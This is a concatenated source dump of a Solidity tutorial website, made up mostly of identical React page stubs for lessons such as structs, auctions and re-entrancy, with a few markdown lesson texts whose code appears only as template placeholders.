Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/structs/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/super/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/abi-decode/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/app/erc20/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/constants/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/constructor/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/delegatecall/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/ether-units/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/fallback/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/first-app/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/function/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/hello-world/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/immutable/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/inheritance/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/interface/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/new-contract/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/primitives/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/signature/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/structs/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Structs 3 | version: 0.8.10 4 | description: An example of how to use structs in Solidity 5 | --- 6 | 7 | You can define your own type by creating a `struct`. 8 | 9 | They are useful for grouping together related data. 10 | 11 | Structs can be declared outside of a contract and imported in another contract. 12 | 13 | ```solidity 14 | {{{Structs}}} 15 | ``` 16 | 17 | ### Declaring and importing Struct 18 | 19 | File that the struct is declared in 20 | 21 | ```solidity 22 | {{{StructDeclaration}}} 23 | ``` 24 | 25 | File that imports the struct above 26 | 27 | ```solidity 28 | {{{StructImport}}} 29 | ``` 30 | -------------------------------------------------------------------------------- /src/pages/try-catch/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/variables/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/visibility/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /scripts/template/index.tsx.mustache: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "{{{importPathToExample}}}" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/app/create2/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/app/crowd-fund/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/app/english-auction/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: English Auction 3 | version: 0.8.10 4 | description: An example of English auction in Solidity 5 | --- 6 | 7 | English auction for NFT. 8 | 9 | ### Auction 10 | 11 | 1. Seller of NFT deploys this contract. 12 | 2. Auction lasts for 7 days. 13 | 3. Participants can bid by depositing ETH greater than the current highest bidder. 14 | 4. All bidders can withdraw their bid if it is not the current highest bid. 15 | 16 | ### After the auction 17 | 18 | 1. Highest bidder becomes the new owner of NFT. 19 | 2. The seller receives the highest bid of ETH. 20 | 21 | ```solidity 22 | {{{EnglishAuction}}} 23 | ``` 24 | -------------------------------------------------------------------------------- /src/pages/app/erc721/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/app/multi-call/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/calling-contract/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/data-locations/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/function-modifier/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/function-selector/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/hacks/honeypot/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/hacks/overflow/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/hacks/re-entrancy/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Re-Entrancy 3 | version: 0.8.10 4 | description: An example of re-entrancy attack in Solidity 5 | --- 6 | 7 | ### Vulnerability 8 | 9 | Let's say that contract `A` calls contract `B`. 10 | 11 | Reentracy exploit allows `B` to call back into `A` before `A` finishes execution. 12 | 13 | ```solidity 14 | {{{ReEntrancy}}} 15 | ``` 16 | 17 | ### Preventative Techniques 18 | 19 | - Ensure all state changes happen before calling external contracts 20 | - Use function modifiers that prevent re-entrancy 21 | 22 | Here is a example of a re-entracy guard 23 | 24 | ```solidity 25 | {{{ReEntrancyGuard}}} 26 | ``` 27 | -------------------------------------------------------------------------------- /src/pages/sending-ether/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/state-variables/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/tests/echidna/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es5", 4 | "lib": [ 5 | "dom", 6 | "dom.iterable", 7 | "esnext" 8 | ], 9 | "allowJs": true, 10 | "skipLibCheck": true, 11 | "esModuleInterop": true, 12 | "allowSyntheticDefaultImports": true, 13 | "strict": true, 14 | "forceConsistentCasingInFileNames": true, 15 | "module": "esnext", 16 | "moduleResolution": "node", 17 | "resolveJsonModule": true, 18 | "isolatedModules": true, 19 | "noEmit": true, 20 | "jsx": "react-jsx", 21 | "noFallthroughCasesInSwitch": true 22 | }, 23 | "include": [ 24 | "src" 25 | ] 26 | } 27 | -------------------------------------------------------------------------------- /src/pages/app/dutch-auction/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/app/english-auction/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/app/ether-wallet/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/app/merkle-tree/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/app/minimal-proxy/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/defi/uniswap-v2/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/hacks/contract-size/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/hacks/delegatecall/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/hacks/front-running/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/hacks/randomness/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/hacks/re-entrancy/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/hacks/self-destruct/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/app/deploy-any-contract/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/app/iterable-mapping/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/app/multi-delegatecall/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/app/multi-sig-wallet/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/app/upgradeable-proxy/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/app/write-to-any-slot/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/defi/constant-sum-amm/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/defi/staking-rewards/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/hacks/NFT-multi-mint/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: 